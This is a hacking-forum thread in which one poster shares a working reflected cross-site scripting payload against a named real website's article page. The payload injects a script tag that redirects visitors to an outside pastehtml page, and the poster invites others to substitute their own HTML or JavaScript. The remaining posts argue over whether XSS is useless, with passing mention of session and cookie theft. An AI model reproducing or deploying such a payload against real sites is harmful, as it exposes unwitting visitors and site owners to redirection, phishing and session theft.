[Dyme]

People are posting these, so meh.

Code

http://www.chachacharming.com/article.php?id=9"><script>window.location="http://pastehtml.com/view/bmdccy66h.html";</script>

Edit: Redirect only works in firefox, feel free to input your own html/JS if you don't have it.

[AnoNimTeck]

Yea, i know. People started to post so many useless XSS challenges today!
It would be better if they stole the admin session with the XSS vulnerability. That's what i would call a nice job.

[Pi⁣⁣]

It's funny how you guys have no idea what XSS can actually do. Instead of trashing on it, learn its full potential. The challenges aren't to take over the site, or to cause harm to the site. The challenges are for fun and to learn more about the XSS attacks.

[supracontra]

Useless XSS? If you knew how to exploit it you wouldn't be calling it useless.

Reminds me, I should start submitting to my xssed again.

[Cracker Jack In The Box]

There are some cool video tutorials on youtube about cookie stealing etc through XSS and all kinds of attack vectors with it, people here just see the pop up alert box posts over and over and just assume thats as far as anyone ever takes XSS.

[Ichi]

It's funny how you guys have no idea what XSS can actually do. Instead of trashing on it, learn its full potential. The challenges aren't to take over the site, or to cause harm to the site. The challenges are for fun and to learn more about the XSS attacks.

Thank you Pi. I'm tired of skids talking trash about XSS. The things you can do with XSS are pretty serious and potentially more usefully than SQli. Not bashing on SQLi, it just seems like that's all people worry about now :/

On topic: Thanks for sharing

[orunu]

yes we get it XSS is a shitty useless thing i mean its not like i could use a non-peristent XSS to compromise your whole OS or anything... nope not at all..

[Dyme]

Did I ever trash XSS. Not one bit. I've just been seeing kids around these forums making whole threads about XSS vulnerabilities on sites that are completely random. XSS is a very common vulnerability, so there's no need to be prancing around every time you find one. It's as if I posted every SQLi vulnerability I find...

Read the thread more carefully before you flame plzzz...

[Ichi]

I wasn't referring to you and I don't think Pi was either. I was referring to the other people who posted on this thread.

[orunu]

Did I ever trash XSS. Not one bit. I've just been seeing kids around these forums making whole threads about XSS vulnerabilities on sites that are completely random. XSS is a very common vulnerability, so there's no need to be prancing around every time you find one. It's as if I posted every SQLi vulnerability I find...

Read the thread more carefully before you flame plzzz...

well .gov's and .edu's may be random but being that domain its a "high profile" site whether it has low traffic or not and is a random one. and yes the random mom-and-pop .com .org .net's are pointless in posting (in a numerous ammount) unless your just starting out and are proud of your work and accomplishment of finding your first few XSS's.

[Dyme]

I wasn't referring to you and I don't think Pi was either. I was referring to the other people who posted on this thread.

Well that's good to hear considering I actually look up to him 😕

[Mx.]

It's funny how you guys have no idea what XSS can actually do. Instead of trashing on it, learn its full potential. The challenges aren't to take over the site, or to cause harm to the site. The challenges are for fun and to learn more about the XSS attacks.

XSS is and always will be 98% of the time more then fkken useless, so yeah XSS IS USELESS.